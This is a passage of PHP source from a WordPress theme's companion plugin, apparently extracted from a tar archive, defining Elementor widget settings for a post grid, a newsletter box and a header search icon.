Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::standard_entry_category_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta_bar', array( 'label' => esc_html__( 'Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_meta_description(), 'options' => Options::entry_meta_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => '' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown(), 'default' => '0', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '0', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt', array( 'label' => esc_html__( 'Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_description(), 'options' => Options::excerpt_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'counter_section', array( 'label' => esc_html__( 'Counter', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'counter', array( 'label' => esc_html__( 'Show Counter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::counter_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'counter_set', array( 'label' => esc_html__( 'Counter Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_set_description(), 'selectors' => array( '{{WRAPPER}} .block-wrap' => 'counter-increment: trend-counter {{VALUE}};', ), ) ); $this->add_responsive_control( 'counter_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .counter-el:before' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to all sections, depending on column settings.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); $this->start_controls_section( 'carousel_section', array( 'label' => esc_html__( 'Carousel Mode', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'carousel_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The ajax pagination setting will be not available if the carousel mode is activated.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'carousel', array( 'label' => esc_html__( 'Carousel', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_mode_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_responsive_control( 'carousel_columns', array( 'label' => esc_html__( 'Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_columns_description(), 'default' => '', ) ); $this->add_control( 'carousel_wide_columns', array( 'label' => esc_html__( 'Wide Screen - Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::wide_carousel_columns_description(), 'default' => '', ) ); $this->add_responsive_control( 'carousel_gap', array( 'label' => esc_html__( 'Carousel Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_gap_description(), 'default' => '', ) ); $this->add_control( 'carousel_dot', array( 'label' => esc_html__( 'Pagination Dot', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_dot_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'carousel_nav', array( 'label' => esc_html__( 'Next/Prev', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_nav_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_responsive_control( 'carousel_footer_margin', array( 'label' => esc_html__( 'Nav Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_nav_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .slider-footer' => 'margin-top: {{VALUE}}px;' ), ) ); $this->add_control( 'slider_play', array( 'label' => esc_html__( 'Auto Play Next Slides', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_autoplay_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_responsive_control( 'slider_speed', array( 'label' => esc_html__( 'Auto Play Speed', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_speed_description(), 'default' => '', ) ); $this->add_control( 'slider_fmode', array( 'label' => esc_html__( 'Carousel Free Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_freemode_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_control( 'slider_centered', array( 'label' => esc_html__( 'Centered Sliders', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_centered_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_grid_1' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_grid_1( $settings ); } } }elementor/newsletter-2.php000064400000017221147206624460011620 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'General', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to a full width section.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'title', array( 'label' => esc_html__( 'Heading', 'foxiz-core' ), 'description' => esc_html__( 'Input a heading for the newsletter box.', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'default' => esc_html__( 'Always Stay Up to Date', 'foxiz-core' ), ) ); $this->add_control( 'description', array( 'label' => esc_html__( 'Description', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => esc_html__( 'Input a description for the newsletter box.', 'foxiz-core' ), 'default' => esc_html__( 'Subscribe to our newsletter to get our newest articles instantly!', 'foxiz-core' ), ) ); $this->add_control( 'shortcode', array( 'label' => esc_html__( 'Form Shortcode', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input your newsletter form shortcode.', 'foxiz-core' ), 'placeholder' => esc_html__( '[mc4wp_form]', 'foxiz-core' ), 'default' => '[mc4wp_form]' ) ); $this->add_control( 'featured', array( 'label' => esc_html__( 'Featured Image', 'foxiz-core' ), 'description' => esc_html__( 'Input a featured image attachment URL for the newsletter box.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->add_control( 'dark_featured', array( 'label' => esc_html__( 'Dark Mode - Featured Image', 'foxiz-core' ), 'description' => esc_html__( 'Input a featured attachment URL for the newsletter box in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->end_controls_section(); $this->start_controls_section( 'design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'background', array( 'label' => esc_html__( 'Background Image', 'foxiz-core' ), 'description' => esc_html__( 'Input a background image attachment URL for the newsletter box.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA, 'selectors' => array( '{{WRAPPER}} .newsletter-box' => 'background-image: url("{{URL}}");' ) ) ); $this->add_control( 'dark_background', array( 'label' => esc_html__( 'Dark Mode - Background Image', 'foxiz-core' ), 'description' => esc_html__( 'Input a background attachment URL for the newsletter box in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .newsletter-box' => 'background-image: url("{{URL}}");' ) ) ); $this->add_responsive_control( 'inner_padding', array( 'label' => esc_html__( 'Inner Padding', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom inner padding for this block.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .newsletter-box .newsletter-inner' => 'padding: {{VALUE}}px 20px;' ), ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .newsletter-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'description_size', array( 'label' => esc_html__( 'Description Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .newsletter-description' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .newsletter-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Description Font', 'foxiz-core' ), 'name' => 'description_font', 'selector' => '{{WRAPPER}} .newsletter-description', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_get_newsletter' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); $settings['classes'] = 'newsletter-box-2'; echo \foxiz_get_newsletter( $settings ); } } }elementor/search-icon.php000064400000016760147206624460011467 0ustar00start_controls_section( 'general-section', array( 'label' => esc_html__( 'General Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'ajax_search', array( 'label' => esc_html__( 'Live Search Result', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Enable live search result when typing.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( '- Disable -', 'foxiz-core' ), '1' => esc_html__( 'Enable', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'style-section', array( 'label' => esc_html__( 'Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'icon_size', array( 'label' => esc_html__( 'Icon Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom font size for the search icon.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} i.wnav-icon' => 'font-size: {{VALUE}}px;', '{{WRAPPER}} span.wnav-svg' => 'width: {{VALUE}}px;', ), ) ); $this->add_control( 'icon_height', array( 'label' => esc_html__( 'Icon Height', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom height value for the search icon.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} i.wnav-icon' => 'line-height: {{VALUE}}px;', '{{WRAPPER}} span.wnav-svg' => 'height: {{VALUE}}px;', ), ) ); $this->add_control( 'header_search_custom_icon', array( 'label' => esc_html__( 'Custom Search SVG', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA, 'description' => esc_html__( 'Override default search icon with a SVG icon. Ensure the setting "Dashboard > Elementor > Settings > Enable Unfiltered File Uploads" is enabled.', 'foxiz-core' ), ) ); $this->add_responsive_control( 'align', array( 'label' => esc_html__( 'Alignment', 'foxiz-core' ), 'type' => Controls_Manager::CHOOSE, 'options' => array( 'flex-start' => array( 'title' => esc_html__( 'Left', 'foxiz-core' ), 'icon' => 'eicon-align-start-h', ), 'center' => array( 'title' => esc_html__( 'Center', 'foxiz-core' ), 'icon' => 'eicon-align-center-h', ), 'flex-end' => array( 'title' => esc_html__( 'Right', 'foxiz-core' ), 'icon' => 'eicon-align-end-h', ), ), 'selectors' => array( '{{WRAPPER}} .w-header-search > .icon-holder' => 'justify-content: {{VALUE}};', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color-section', array( 'label' => esc_html__( 'Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'icon_color', array( 'label' => esc_html__( 'Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the search icon.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} i.wnav-icon' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_icon_color', array( 'label' => esc_html__( 'Dark Mode - Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the search icon in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} i.wnav-icon' => 'color: {{VALUE}};' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'dropdown-section', array( 'label' => esc_html__( 'Popup Form Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'form_position', array( 'label' => esc_html__( 'Popup Right Position', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'input a right relative position for the popup search form, for example: -200', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .header-dropdown' => 'right: {{VALUE}}px; left: auto;' ), ) ); $this->add_control( 'bg_from', array( 'label' => esc_html__( 'Background Gradient (From)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 0%) for the popup search form.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}} .w-header-search .header-dropdown' => '--subnav-bg: {{VALUE}}; --subnav-bg-from: {{VALUE}};' ), ) ); $this->add_control( 'bg_to', array( 'label' => esc_html__( 'Background Gradient (To)', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color (color stop: 100%) for the popup search form.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .w-header-search .header-dropdown' => '--subnav-bg-to: {{VALUE}};' ), ) ); $this->add_control( 'dark_bg_from', array( 'label' => esc_html__( 'Dark Mode - Background Gradient (From)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 0%) for the popup search form in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .w-header-search .header-dropdown' => '--subnav-bg: {{VALUE}}; --subnav-bg-from: {{VALUE}};' ), ) ); $this->add_control( 'dark_bg_to', array( 'label' => esc_html__( 'Dark Mode - Background Gradient (To)', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color (color stop: 100%) for the popup search form in the dark mode.', 'foxiz-core' ), 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .w-header-search .header-dropdown' => '--subnav-bg-to: {{VALUE}};' ), ) ); $this->add_control( 'header_search_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select color scheme for the search form to fit with your background.', 'foxiz-core' ), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 